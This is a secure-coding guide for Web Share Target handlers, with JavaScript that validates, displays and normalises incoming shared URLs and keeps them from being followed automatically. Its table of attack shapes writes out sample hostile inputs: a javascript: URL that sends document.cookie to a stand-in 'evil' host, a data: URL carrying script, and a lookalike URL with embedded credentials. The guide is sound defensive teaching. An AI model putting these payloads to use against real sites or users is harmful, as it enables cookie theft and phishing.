Handling Untrusted URLs from Share Targets

This guide is part of Securing Incoming Shared Payloads, which itself is part of Web Share Target API.

The url field is the most dangerous part of an incoming share, because a URL is not just data — it is an instruction the browser will act on if you let it. Put a javascript: value in an href and a click executes script on your origin. Auto-redirect to whatever arrives and your domain becomes a phishing hop. Display an address with embedded credentials and the origin the user reads is not the origin they will reach.

All three are closed by the same short routine: parse with the platform’s own parser, allow two schemes, strip credentials, and never navigate without a deliberate action.

Feature Detection Gate

The URL constructor is the gate — it either parses or it throws, and both answers are useful.

// url-guard.js
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:']);
const MAX_URL_LENGTH = 2048;

export function safeSharedUrl(candidate) {
  if (typeof candidate !== 'string') return null;
  if (candidate.length > MAX_URL_LENGTH) return null;

  let parsed;
  try {
    parsed = new URL(candidate);            // absolute only — a relative value throws
  } catch {
    return null;
  }

  if (!ALLOWED_PROTOCOLS.has(parsed.protocol)) return null;
  if (!parsed.hostname) return null;

  parsed.username = '';                     // strip embedded credentials
  parsed.password = '';
  parsed.hash = parsed.hash.slice(0, 200);  // bound the fragment
  return parsed;
}

Using the constructor rather than a regular expression matters more than it looks. The parser handles leading whitespace, tab characters inside the scheme, mixed case, percent-encoded delimiters and Unicode hostnames the same way the browser will when it acts on the value — which is exactly the agreement a hand-written pattern fails to achieve.

Hostile URL Shapes and Their Defences Five rows pair an attack shape with the specific check that stops it: a javascript scheme blocked by the protocol allow-list, a data URL blocked the same way, embedded credentials stripped from the authority, an oversized data payload rejected by the length cap, and an open-redirect chain prevented by never navigating automatically. Incoming url value Defence that applies javascript:fetch('//evil/'+document.cookie) protocol allow-list → rejected data:text/html,<script>…</script> protocol allow-list → rejected https://[email protected]/login credentials stripped → host shown is evil.test https://… (1.5 MB of query string) length cap → rejected before parsing cost https://legit-looking.test/pay rendered as a link — never auto-navigated

Step 1 — Render the Destination Honestly

Once validated, show the user where the link actually goes. The display string should emphasise the origin, because that is the only part that determines who receives the click.

// display-url.js
import { safeSharedUrl } from './url-guard.js';

export function renderSharedLink(container, rawUrl) {
  const parsed = safeSharedUrl(rawUrl);
  if (!parsed) {
    const note = document.createElement('p');
    note.textContent = 'The shared link could not be read and was not included.';
    container.append(note);
    return null;
  }

  const anchor = document.createElement('a');
  anchor.href = parsed.href;
  anchor.rel = 'noopener noreferrer nofollow';
  anchor.target = '_blank';

  const host = document.createElement('strong');
  host.textContent = parsed.hostname;                    // the part that matters
  const rest = document.createTextNode(truncatePath(parsed));

  anchor.append(host, rest);
  container.append(anchor);
  return parsed;
}

function truncatePath(parsed) {
  const tail = `${parsed.pathname}${parsed.search}`;
  return tail.length > 60 ? `${tail.slice(0, 60)}` : tail;
}

rel="noopener noreferrer nofollow" covers three separate concerns: the destination cannot reach back through window.opener, your URL does not leak as a referrer, and you are not lending search-ranking credibility to an address a stranger supplied.

Step 2 — Never Navigate Automatically

An endpoint that redirects to whatever URL it is handed is an open redirect, and it is valuable to an attacker precisely because the address bar shows your domain before the jump.

// no-auto-redirect.js
export function handleIncomingShare(params, container) {
  const parsed = safeSharedUrl(params.get('url'));

  // WRONG — turns this app into an open redirect:
  //   if (parsed) location.href = parsed.href;

  // Right: present it and let the user choose.
  return {
    url: parsed?.href ?? null,
    origin: parsed?.origin ?? null,
    isExternal: parsed ? parsed.origin !== location.origin : false,
    render: () => renderSharedLink(container, parsed?.href ?? '')
  };
}

Flagging isExternal is worth the extra line. A shared link back to your own origin can reasonably be opened in place; anything else should visibly leave, and the interface should say so.

Step 3 — Strip Tracking Before You Store It

Shared URLs arrive carrying whatever the sender’s app appended. Normalising them makes deduplication work and avoids re-broadcasting someone’s campaign identifiers.

// normalise-url.js
const STRIP_PARAMS = [
  'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',
  'fbclid', 'gclid', 'igshid', 'mc_eid', 'ref', 'ref_src'
];

export function normaliseSharedUrl(parsed) {
  const clean = new URL(parsed.href);
  for (const key of STRIP_PARAMS) clean.searchParams.delete(key);

  clean.hash = '';                                   // fragments rarely identify content
  if (clean.pathname.length > 1 && clean.pathname.endsWith('/')) {
    clean.pathname = clean.pathname.slice(0, -1);    // canonical form for comparison
  }
  return clean.href;
}

Keep the original alongside the normalised form if you ever need to reopen exactly what was shared; use the normalised one as the storage key so two shares of the same page collapse into one entry, in the same spirit as deduplicating queued shares before sync.

From Raw Value to Stored Key A raw url string passes through four stages: constructor parsing, protocol allow-listing, credential stripping, and tracking-parameter removal. The output feeds two consumers — a displayed link that only a user action follows, and a normalised storage key used for deduplication. raw url untrusted string new URL() throws → null http/https allow-list strip creds + bound hash displayed user clicks normalised storage key At no point does the application navigate on its own — every jump is a click the user made Emphasise the Origin, Not the Path A long path can push the real host out of view or make a lookalike appear legitimate. Rendering the hostname in bold and truncating the path keeps the part that determines the destination visible. full URL, untruncated https://your-bank.example.evil.test/secure/login/verify/session/… — the real host scrolls away hostname emphasised, path truncated evil.test /secure/login/verify/… — the destination is the first thing read credentials already stripped, so the shown host is the host contacted

Failure Modes and Recovery

Symptom Cause Minimal fix
Script runs when the link is clicked javascript: accepted into href Allow-list http: and https: only
Attacker HTML renders from a link data: URL accepted Same allow-list
Displayed host differs from the real one Credentials left in the authority Clear username and password
Your domain used in a phishing chain Automatic redirect to the shared URL Require a click; never navigate on load
Destination controls your tab target="_blank" without rel Add noopener noreferrer
Duplicate entries for one page Tracking parameters retained Normalise before using as a key
Slow render on a crafted payload No length cap Reject above ~2 KB before parsing

Browser and Platform Caveat

The URL constructor follows the WHATWG parsing rules in every current engine, so protocol, hostname and credential handling agree with what the browser will actually do — which is precisely why it beats a hand-written pattern. Two details deserve attention. Internationalised domain names are normalised to Punycode in hostname, so a homograph-style address displays as xn--… rather than as the lookalike Unicode form, which is usually the safer thing to show a user. And on a GET share target the URL arrives as a query parameter, so it is written into browsing history and sent in referrer headers before your code sees it — one more reason to prefer a POST target for anything you would rather not have logged, as handling GET vs POST share targets sets out.

FAQ

Why is a block-list of dangerous schemes not enough?

Because it can only exclude what you thought of, and scheme parsing tolerates leading whitespace, mixed case and embedded control characters that defeat naive string matching. An allow-list of http: and https: is short, complete for this use case, and cannot be bypassed by a scheme you have not heard of.

Should I redirect the user to the shared URL automatically?

No. Automatic navigation turns your origin into an open redirect that anyone can invoke with a crafted link, which is useful for phishing because the address bar shows your domain first. Render the destination and let the user decide to follow it.

Why remove the username and password from a URL?

The authority component can be used to make a hostile host look legitimate — everything before the at sign is credentials, not the host. Stripping them means the displayed origin is the origin the browser will actually contact.